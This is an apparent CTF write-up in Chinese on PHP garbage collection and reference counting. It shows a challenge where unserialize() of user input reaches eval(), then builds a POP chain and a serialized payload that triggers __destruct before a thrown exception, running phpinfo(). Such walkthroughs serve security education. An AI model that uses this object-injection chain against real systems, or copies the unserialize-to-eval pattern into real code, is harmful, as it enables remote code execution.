对PHP GC垃圾回收机制理解及应用

先列出一道例题

<?php 
highlight_file(__FILE__); 
error_reporting(0); 
class aa{ 
    public $num; 
    public function __destruct(){ 
        echo $this->num."hello __destruct"; 
        } 
    }
class bb{ 
    public $string; 
    public function __toString() { 
        echo "hello __toString"; 
        $this->string->flag(); 
        } 
    }
class cc{ 
    public $cmd; 
    public function flag(){ 
        echo "hello __flag()"; 
        eval($this->cmd); 
    } 
}
$a=unserialize($_GET['code']); 
throw new Exception("Garbage collection"); 
?>

题目很简单 关键阻碍是最后丢出的异常

在ctf题目中会出现诸如此类的题目,在代码的结尾抛出了异常,对象不能被正常销毁,导致不能触发destruct魔术方法,此时我们就要想到绕过该抛出的异常,并触发destruct魔术方法,这里就要说到php中的GC(Garbage Collection)

GC

什么是GC

Gc,全称Garbage collection,即垃圾回收机制。

PHP中的GC

在PHP中,使用引用计数回收周期来自动管理内存对象的,当一个变量被设置为NULL,或者没有任何指针指向时,它就会被变成垃圾,被GC机制自动回收掉
那么这里的话我们就可以理解为,当一个对象没有被引用时,就会被GC机制回收,在回收的过程中,它会自动触发_destruct方法,而这也就是我们绕过抛出异常的关键点。

上文说到PHP是使用引用计数来进行管理的,接下来简单说一下。

引用计数

这里看一下php手册的解释

PHP 变量存储在称为“zval”的容器中。zval 容器除了变量的类型和值之外,还包含两个额外的信息位。第一个是“is_ref”,是布尔值,表示变量是否是“引用集合”的一部分。第二个是“refcount”,表示有多少个变量名(也称为符号)指向这个 zval 容器。

第一个字节名为is_ref,是bool值,它用来标识这个变量是否是属于引用集合。PHP引擎通过这个字节来区分普通变量和引用变量,由于PHP允许用户使用&来使用自定义引用,zval变量容器中还有一个内部引用计数机制,来优化内存使用。

第二个字节是refcount,它用来表示指向zval变量容器的变量个数。所有的符号存储在一个符号表中,其中每个符号都有作用域。

看接下来的这个例子

<?php
$a = "new string"; 
xdebug_debug_zval('a'); //用于查看变量a的zval变量容器的内容
?>

我们可以看到这里定义了一个变量$a,生成了类型为String和值为new string的变量容器,而对于两个额外的字节,is_refrefcount,我们这里可以看到是不存在引用的,所以is_ref的值应该是false,而refcount是表示变量个数的,那么这里就应该是1,接下来我们验证一下

(refcount=1, is_ref=0)='new string'

接下来我们添加一个引用

<?php
<?php
$a="new string"; 
$b =&$a;
xdebug_debug_zval('a');
?>

结果如下

(refcount=2, is_ref=1)='new string'

接下来说一下容器的销毁这个事。
变量容器在refcount变成0时就被销毁。它这个值是如何减少的呢,当函数执行结束或者对变量调用了unset()函数,refcount就会减1。
看个例子

<?php
$a="new string"; 
$b =&$a;
$c =&$b;
xdebug_debug_zval('a');
unset($b,$c);
xdebug_debug_zval('a');
?>

按照刚刚所说,那么这里的首次输出的is_ref应该是truerefcount为3。
第二次输出的is_ref值是什么呢,我们可以看到引用$a的变量$b$c都被unset了,所以这里的is_ref应该是false,也是因为unset,这里的refcount应该从3变成了1,接下来验证一下

(refcount=3, is_ref=1)='new string'
(refcount=1, is_ref=0)='new string'

总结:触发GC 从而触发__destruct魔术方法的有两种方法

1.被unset()处理

2.数组对象为null

下面解决开头的那道例题

先放pop链

<?php 

class aa{ 
    public $num; 
    }
class bb{ 
    public $string; 
    }
class cc{ 
    public $cmd; 
}
$a = new aa();
$a -> num = new bb();
$a -> num -> string = new cc();
$a -> num -> string -> cmd = "phpinfo();";
$b = array($a,0);
echo serialize($b);
?>

对象为null时 也可触发__destruct魔术方法

因此先将其放入数组中 之后再将对象置为空

得到

a:2:{i:0;O:2:"aa":1:{s:3:"num";O:2:"bb":1:{s:6:"string";O:2:"cc":1:{s:3:"cmd";s:10:"phpinfo();";}}}i:1;i:0;}

将 i:1 改为 1:0 从而将对象置空

最终payload:

a:2:{i:0;O:2:"aa":1:{s:3:"num";O:2:"bb":1:{s:6:"string";O:2:"cc":1:{s:3:"cmd";s:10:"phpinfo();";}}}i:0;i:0;}

以上部分参考了网上师傅的内容,菜菜勿喷

  • 7
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值